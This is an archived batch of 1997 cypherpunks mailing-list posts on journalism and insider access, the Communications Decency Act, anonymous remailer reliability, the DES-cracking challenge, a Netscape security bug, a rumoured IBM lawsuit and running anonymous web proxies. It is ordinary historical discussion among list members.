But Tim's conclusions are way off-target. Just because you have access to
information doesn't mean you've been co-opted. For instance, contrary to
what Tim says, I've never "promised to spin the story in a certain way."
That's the job of a PR flack, not a journalist. Also, contrary to what Tim
says, I've never been "sworn to secrecy." Rather, some discussions are
off-the-record, which is fairly common practice even if you're covering
City Hall in Topeka. Doesn't mean I can't use the information -- as I said
in the paragraph Tim elided, I do -- just that I can't quote a particular
person.

Tim writes: But you're sure showing all the signs of becoming just another
Washington Insider."

In truth I'm doing what a reporter should do: talk to lots of folks who
are involved in a particular issue. If this makes me an "insider," I'll
cop to that. But if I didn't meet and chat with thse folks, I wouldn't be
doing my job.

I mean, geez, if nothing else, look at what I've been writing. Last
Thursday I wrote about how the Federal government should get out of the
business of "protecting privacy." On Friday I wrote about how "protecting
children" from animated cartoon images is another pretext for
Net-censorship. Who else is saying that?

If anything, I've becoming more cynical as I spend more time on this beat.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 16 Jun 1997 19:09:23 +0800
To: cypherpunks@toad.com
Subject: BYE_cda
Message-ID: <1.5.4.32.19970616104329.0070f738@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



6-16-97, NYP:

With a groundbreaking Supreme Court decision imminent on a
new law restricting children's access to indecent material on the
Internet, senior Clinton administration officials are preparing a 
policy that undercuts the administration's strong support of the 
law until now.

Administration officials, anticipating that the court will strike the 
law down as an unconstitutional abridgment of free speech, 
have been quietly fashioning a new communications policy that 
leaves most regulation of the sprawling online world to the industry 
itself.

No announcement will be made until the court rules on the 
constitutionality of the Communications Decency Act of 1996. 
And officials noted that the current draft of a working group's 
report, dated June 4, is not necessarily the last word spelling out 
the new approach. The president makes policy, they said,
and this matter will not be settled until he approves.

-----

BYE_cda

http://jya.com/byecda.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 16 Jun 1997 22:24:09 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706161350.GAA26212@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 16 Jun 97 6:49:32 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config@weasel.owl.de             +--+--+--+-   1:51:30  99.94%
squirrel mix@squirrel.owl.de              +-+++-+--+-   1:48:38  99.93%
hidden   remailer@hidden.net              -###_____.+- 31:17:55  99.88%
balls    remailer@huge.cajones.com         ####+# -+##    37:39  99.73%
mix      mixmaster@remail.obscura.com     --.-.-...-.  10:15:59  99.71%
replay   remailer@replay.com              ** *  **-++*     7:46  99.62%
jam      remailer@cypherpunks.ca          ***** ++ ++*    12:39  99.58%
reno     middleman@cyberpass.net          ---+_---.---  2:05:48  99.44%
cyber    alias@alias.cyberpass.net        ** * **+++**    21:08  98.20%
winsock  winsock@rigel.cyberpass.net      ---------- -  6:05:20  98.03%
lucifer  lucifer@dhp.com                  ++  ++++-+++    42:58  97.94%
nym      config@nym.alias.net                        #     2:46  51.51%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 16 Jun 1997 22:24:53 +0800
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <33A482AC.3C0E@disposable.com>
Message-ID: <3.0.2.32.19970616070059.0076d9c4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:02 PM 6/15/97 -0700, Rich Graves wrote:

>A guy on the way to the shooting range is pulled over for speeding.
>The cop notices the guns, orders him out of the car, and asks where
>he's going. He answers, "Let me explain the way I think this country
>works. I am going wherever I damn well please." So the cop gives him
>a speeding ticket, and he continues on his way.
>
>Now tell me, is this evidence that we're living in a police state?
>
>Of course it probably helped that the guy was white, and probably
>driving a "decent" car, and carrying "decent" guns and not some
>"Saturday Night Special." 

The guy being white and educated may well have convinced the cop to not
make a fuzz. My local newspaper recently ran an article about a few
Hispanic looking folks who had some photographs of themselves holding guns
in their hands developed at the supermarket. Before they even picked up the
prints, the clerk had called the cops which in turn raided the unfortunate
gun owners.

It turned out that the Hispanics owned the firearms legally.

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 16 Jun 1997 20:08:41 +0800
To: cypherpunks@toad.com
Subject: New CIA Rule on Information Access
Message-ID: <1.5.4.32.19970616112542.008ca6d4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The CIA has published in the Federal Register today interim
rules and soliciting comments prior to adoption of final rules to
implement its obligations under the Freedom of Information Act, 
the Privacy Act, and Executive Order 12958 provisions relating 
to classification challenges by authorized holders, requests
for mandatory declassification review, and access by historical 
researchers.

   http://jya.com/cia061697.txt  (150K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 16 Jun 1997 20:58:06 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.GSO.3.95.970615232644.25854A-100000@cp.pathfinder.com>
Message-ID: <524D9D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> But Tim's conclusions are way off-target. Just because you have access to
> information doesn't mean you've been co-opted. For instance, contrary to
> what Tim says, I've never "promised to spin the story in a certain way."

You don't have to promise.  You're very predictable.  Given certain
inputs you're very likely to write certain outputs.

> I mean, geez, if nothing else, look at what I've been writing. Last
> Thursday I wrote about how the Federal government should get out of the
> business of "protecting privacy." On Friday I wrote about how "protecting
> children" from animated cartoon images is another pretext for
> Net-censorship. Who else is saying that?

Can a mailing list poster silence others by talking too much?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 02:56:43 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706132241.PAA09924@fat.doobie.com>
Message-ID: <3.0.2.32.19970616095518.00751b44@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:08 PM 6/13/97 -0700, Eric Murray wrote:
>Of course that's IDEA-encrypted (or maybe something better in PGP 5) so
>the attacker would need a lot of compute power to brute-force the key.
>I wouldn't worry too much about someone getting my secring.pgp.  However
>I would worry about them getting my mail folder, my .rhosts, my
>/etc/password, etc.

This is one area where evil mail reader clients like Microserf Mail
do better than decent mail clients.  The MSMail mailbox is one huge file,
structure undocumented, encrypted with an algorithm strong enough to
defeat Stacker/Doublespace and prevent you from repairing the file
if it's corrupted* but not strong enough to keep the NSA out.
MSMail encourages you to send MSWord attachments and Powerpoint graphics
instead of just writing text, so it's not uncommon to have a 
100MB mailbox in a typical corporate marketdroid environment.
If someone steals my Eudora mailboxes, they'll need to snarf a few MB
of accumulated mail (though much of the good stuff will be saved
in files), but even if they only get part of the file, it's readable.
Someone who steals my MSMAIL.MMF will get 100+MB of noise,
hiding a relatively small amount of signal, and if they only get
part of it before losing the connection, it'll probably be corrupt.

[*Actually, my MSMAIL.MMF _is_ corrupted - MSMail has a self-repair /
garbage collector feature enabled by hitting magic keys at startup,
which on my mailbox is a bit overenthusiastic -- it deletes all the
attachments, leaving only the headers/text of messages and the
icons for the now-missing attachments.  So I can't use it...]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 03:06:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <v0302097fafc750f91426@[139.167.130.246]>
Message-ID: <3.0.2.32.19970616100719.00751b44@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:10 PM 6/13/97 -0700, Tim May wrote:
>>Awwww, Caaa'monnn.
>>You mean they can license handguns, but not reporters???

>Indeed, it is strange. What part of "Congress shall make no law" 
>do they not understand?

the part between "Congress shall make no law" and "shall not be infringed"...




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 01:49:22 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.GSO.3.95.970615232644.25854A-100000@cp.pathfinder.com>
Message-ID: <v03102800afcb21804eb5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:26 AM -0700 6/16/97, Paul Bradley wrote:
>> I mean, geez, if nothing else, look at what I've been writing. Last
>> Thursday I wrote about how the Federal government should get out of the
>> business of "protecting privacy." On Friday I wrote about how "protecting
>> children" from animated cartoon images is another pretext for
>> Net-censorship. Who else is saying that?
>
>I must side with Declan here, true, sometimes Declans articles show a
>subtle hint of insiderism <tm>, but I believe that is an inevitable
>consequence of working around people in D.C. who don`t want to be
>directly associated with certain statements, to quote them against their
>will would be journalistic suicide and would soon see Declan with no
>contacts whatsoever.

Some of you, including Declan, have read too much in my comments. I did not
say he _had_ sold out, I said in several places there is a well-known
danger of becoming assimilated by the Washington system. Reread what I said.

(By the way, I've never suggested Declan would lose his ideological
bearings. Democrats and Republicans who become assimilated remain true to
their roots, but they see everything as part of a larger system, a
negotiation. They lose their ability to see in outside the Beltway simple
terms. The giveaway will be if and when Declan begins to say that things
are not so simple.)

>Also, although his articles are often written to be readable by the
>uninformed rather than security experts or cryptographers they often
>raise important points. Remember, although through Declan and John Young
>we have a lot of current news posts coming on to the list the average AOL
>account owning newbie won`t know about these things and reading some of
>Declans articles might just get them thinking.

Without intending to criticize Declan, I see nothing especially new or
insightful in his pieces. Stuff we've covered many times. The main
attention given to his articles comes from, I strongly suspect, our
projection that the sheeple are reading and being persuaded by his articles.

But, all part of the traditional "journalist as celebrity" path. No, this
is not jealousy speaking....I'm rather satisfied with my rate of pay over
the years compared to what I might have earned in journalism! And if I
really wanted to speak to the masses, I'd be more diligent in pursuing book
deals.

I wish Declan well, really. But his frequent name-dropping about soirees
he's been invited to, bigwigs he's had power lunches with...well, I think
the evolution has been set in motion. "Things are not as simple as
libertarians would have us believe."?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@ZedZ.com>
Date: Mon, 16 Jun 1997 16:25:57 +0800
To: db-nl@dds.nl
Subject: (fwd) Demo of new personalized web "Anonymizer"
Message-ID: <199706160815.KAA00484@outcast.zedz.net>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Alex de Joode -----

From: alain@allegra.tempo.att.com (Alain Mayer)
Newsgroups: sci.crypt,sci.crypt.research
Subject: Demo of new personalized web "Anonymizer"
Date: 11 Jun 1997 17:49:02 -0700
Organization: Bell Labs, Murray Hill, NJ
Message-ID: <5nnh1u$djk@joseph.cs.berkeley.edu>

Hi!
 
We are Bell Labs researches currently experimenting with a new tool that
helps you easily create and use consistent unique personal identities at web
sites that provide personalized services.  LPWA (Lucent Personalized Web
Assistant) creates these unique identities on demand. LPWA supports these
features:
- Privacy: Your true identity remains unknown to the web-sites. When a
     web-site asks you to provide a username, password, or e-mail
     address, you instead enter '\u', '\p', or '\@', and the LPWA proxy
     submits to the web-site an alias-username, an alias-password, or
     an alias-e-mail address. LPWA computes a different, but consistent,
     alias for you for each web-site.
- Convenience: Because LPWA computes your alias identity for you, you do
     not need to invent and remember multiple usernames and passwords. Instead,
     you only need to remember and protect one secret ("universal
     password").  You provide your secret to the proxy, along with your
     e-mail address, exactly once during a browsing session, after that
     you browse the web transparently.
 
Check    http://lpwa.com/      to see how to use LPWA.  To obtain more
information about LPWA, see   http://www.bell-labs.com/project/lpwa/
Pointers to personalized web-sites, where you can open and maintain
accounts, are given in
http://www.bell-labs.com/project/lpwa/background.html#personalized
 
Please note that this project has not yet been publicy announced and that
documentation and code are currently being revised. Also, the current
(temporary)  set-up,  where you have to connect to LPWA over an insecure
connection is not "optimal" (to say the least, but all in all much better
than if you browse the "usual way"). Hence, we are really looking for
"friendly users" at this time whose feedback will help us to make improvements.
 
Regards,
   Alain Mayer

----- End of forwarded message from Alex de Joode -----

Groet,
--
Alex de Joode
usura@zedz.com  |  ZedZ InterNET Laboratories  |  http://www.zedz.net 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 17 Jun 1997 01:49:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IBM sues critics?
In-Reply-To: <19970614184538.11070.qmail@squirrel.owl.de>
Message-ID: <Pine.GSO.3.96.970616101622.7649I-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On 14 Jun 1997, Secret Squirrel wrote:

> This means IBM is suing such people as Matt Blaze, Whitfield
> Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT
> over the question of whether its key recovery system really works.
> Considering that truth is a defense and the details of the
> IBM system could be part of the defense's evidence, it should be an
> interesting trial to say the least.

Has anyone asked Matt Blaze and/or any of the others mentioned above if
they have heard anything about this?

[I would do so myself, but I am away from my address lists, other than the
memorized ones.]

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 03:06:37 +0800
To: Rich Graves <llurch@networking.stanford.edu>
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <Pine.GUL.3.95.970613205522.3433K-100000@Networking.Stanford.EDU>
Message-ID: <3.0.2.32.19970616102113.00751b44@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:59 PM 6/13/97 -0700, you wrote:
>This is why we need more remailers, and why it's good that you posted
>anonymously. The proper thing to do is to be "shocked, shocked!" that
>anything illegal is happening on your server, 
	... your ecash, sir ....
>immediately shut it down (counting on the network to be self-healing
>with the help of an enhanced remailer list), and offer to cooperate fully. 
>Unfortunately, you don't keep logs, so you wouldn't really be able to help
> (damn!).

Shutting it down would be bad - that gives them an easy denial of service
attack (though better to have them use that attack than child porn....)

Put a warning on the front page that it's NOT to be used for
illegal purposes etc., phrased seriously, complaining that you'll
have to shut it down if people keep abusing it...
And make sure your proxy server only accepts encrypted requests,
so that eavesdropping doesn't gain much.

The hard problem is getting enough people to run the things.
While the _right_ solution is probably to put anonymous web proxies
in the distribution versions of Apache or Stronghold, so that there
are thousands of them, the alternative is convincing people to run them.
Unlike email remailers, where the big annoyance is dealing with spam,
the main problem with running web proxies is just volume.
Adding a semaphore or rate limiter to the proxy might help,
and I've heard some people have blocked large GIFs - but you
still want to handle downloads of contraband software,
which means accepting and caching multi-megabyte code.

I suppose it would be interesting for anonymous web proxies
to generate cover traffic as well - periodically browse sites like
Radikal mirrors and other contraband.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 16 Jun 1997 23:08:08 +0800
To: cypherpunks@toad.com
Subject: Anguilla surpasses US military in code breaking challenge.
Message-ID: <Pine.LNX.3.95.970616103041.13900B-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




Press Release
Anguilla, June 16, 1997

    Anguilla surpasses US military in code breaking challenge.

The Caribbean country of Anguilla has searched through more than
2,380,000,000,000 code keys as part of the Deschall effort to break a DES
encrypted message.  This is in response to a challenge by RSA Inc to show
that DES 56 bit keys are not large enough given the rapid advances in
computing technology.  As of June 16th, the entire US military effort,
represented by Internet machine names ending in ".mil" in the Deschall
statistics pages, has searched fewer keys.  Anguilla host names end in
".com.ai".  Anguilla is a free and democratic country, that does not limit
key lengths. 

Offshore Information Services organized the Anguilla effort.  OIS also
hosted a conference in Anguilla called "Financial Cryptography 97" in
February of this year. 

Deschall:   http://www.frii.com/~rcv/deschall.htm
RSA:        http://www.rsa.com/rsalabs/97challenge/
Offshore:   http://www.offshore.com.ai/
Statistics: http://www.frii.com/~rcv/krstat/
FC97:       http://www.offshore.com.ai/fc97/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Vincent Cate                           Offshore Information Services
 Vince@Offshore.com.ai                  http://www.offshore.com.ai/
 Anguilla, BWI                          http://www.offshore.com.ai/vince
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Mon, 16 Jun 1997 23:14:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <v03102803afc9c0a4fffd@[207.167.93.63]>
Message-ID: <97Jun16.105958edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 15 Jun 1997, Tim May wrote:

> I'm about to abandon 3.0 and go back to 2.x. Or look at Explorer. The
> memory footprint went up dramatically (Macintosh version at least), so that
> I can no longer have all my favorite apps open. If I want to check stock
> quotes, I have to quit one of my other Internet apps.
> 
> The dancing Java ads are not worth it.
> 
> --Tim May

There is a windows console version of Lynx now.  You won't see the dancing
java ads, but will see your quotes.  If you want fancy tables, I have an
awk script which renders them.  A few more stupid AWK tricks (cygnus.com
has most GNU stuff ported), and you can type "getquote msft"  and have the
info without the ads appear.  And if "lynx -source" is too big, I have a
tiny URL to stdout program (which supports user/pass and SSL!).  It is
running now in a timed script that displays the quotes I want to a
virtual console.

Become an iconoclast, and crawl into a shell.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 00:23:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <v03102803afc9c0a4fffd@[207.167.93.63]>
Message-ID: <199706161604.LAA19766@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102803afc9c0a4fffd@[207.167.93.63]>, on 06/15/97 
   at 08:57 AM, Tim May <tcmay@got.net> said:

>At 1:15 AM -0700 6/15/97, Tom Weinstein wrote:
>>Ross Wright wrote:
>>>
>>> On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:
>>>
>>> > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
>>>
>>> Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
>>> use 2.02.  You guys are gonna help us who refuse to upgrade, right.
>>
>>Sorry, but we don't have any plans to respin 2.x at this time.  If we
>>get enough requests for it, it might be possible to change our mind,
>>though.

>I'm about to abandon 3.0 and go back to 2.x. Or look at Explorer. The
>memory footprint went up dramatically (Macintosh version at least), so
>that I can no longer have all my favorite apps open. If I want to check
>stock quotes, I have to quit one of my other Internet apps.

>The dancing Java ads are not worth it.

Has Lynx been ported to the Mac? You might want to just write your own. If
your not intrested in all the N$ crap (frames, animated Gifs, cookies,
...) it is really quite easy code to write a few socket calls and parsing
of some text. I wrote one over a weekend that handles 99% of my web
browsing needs.

I haven't looked at the Macs in a long time, when I did the hardware was
not up to handling the GUI, does the current OS support a "text mode" or
must everything be GUI?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6Vkso9Co1n+aLhhAQFOMgP8DP7e/hIUJWZg9rG6LN+9AQ9cEx5fdCvj
gfi87SJy7Xy5opdznWtjgz4hFnxQg29sObe+avFu9LOOQZpStJ4dC5YeGeamk5z5
YlVba8L30Hmky54O8eRdbutFJqxZgQa9+1BzOxnyHHVORM3X7IWr1QTi9+TTAp+s
WezhXZShmCE=
=xh6R
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 00:45:34 +0800
To: cypherpunks@toad.com
Subject: Re: IBM sues critics?
Message-ID: <199706161623.LAA20012@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.32.19970614201321.009a8b38@pop.pipeline.com>, on 06/14/97 
   at 04:13 PM, John Young <jya@pipeline.com> said:

>Secret Squirrel wrote:
>>According to a usually reliable contact in a position to know, IBM Friday
>>filed a liable suit against the 11 authors of the study
>>titled "The risks of key recovery, key escrow and trusted third-party
>>encryption" plus their employers and the Centere for Democracy and
>>Technology, which sponsored the report.  According to my contact, IBM
>>feels that the report directly targets their own key recovery system,
>>and falsely implies that it isn't reliable.  They are asking for
>>unspecified damages.


>If this report is true it's worth taking a look at IBM's policy paper
>"The need for a global cryptographic policy framework" to  understand why
>the key study report is such a threat to
>Blue's global market strategy:

>   http://www.ibm.com/security/html/pp_global.html

>IBM's economic incentive to attack the report is substantial, not least
>because it hopes to garner the lion's share of global GAK --
>not that that's news.


Has there been any conformation on this?

I would like to get in touch with some of my contacts at IBM but would
like to have some info on this first.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6VncI9Co1n+aLhhAQE7VQQAuDOBM3aqTCbaK/5nPLl1TLaAkHWSIC4h
/eOJFw7/EJ1ZQWGj5lxHg2es6+MFSrue5/KnOn0evsJtLnQjX4icYyhzhao2cXYY
9EPaew0FMLHRtJrB0sXlWOeyteRqFstVEkQb7jtqUqxbjNU1A/FZlbr7dclRZ56B
nVTBAqZBOzA=
=tD2h
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 17 Jun 1997 01:13:08 +0800
To: declan@well.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.GSO.3.95.970615232644.25854A-100000@cp.pathfinder.com>
Message-ID: <Pine.LNX.3.91.970616112023.236B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> I mean, geez, if nothing else, look at what I've been writing. Last
> Thursday I wrote about how the Federal government should get out of the
> business of "protecting privacy." On Friday I wrote about how "protecting
> children" from animated cartoon images is another pretext for
> Net-censorship. Who else is saying that?

I must side with Declan here, true, sometimes Declans articles show a 
subtle hint of insiderism <tm>, but I believe that is an inevitable 
consequence of working around people in D.C. who don`t want to be 
directly associated with certain statements, to quote them against their 
will would be journalistic suicide and would soon see Declan with no 
contacts whatsoever. 

Also, although his articles are often written to be readable by the 
uninformed rather than security experts or cryptographers they often 
raise important points. Remember, although through Declan and John Young 
we have a lot of current news posts coming on to the list the average AOL 
account owning newbie won`t know about these things and reading some of 
Declans articles might just get them thinking.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
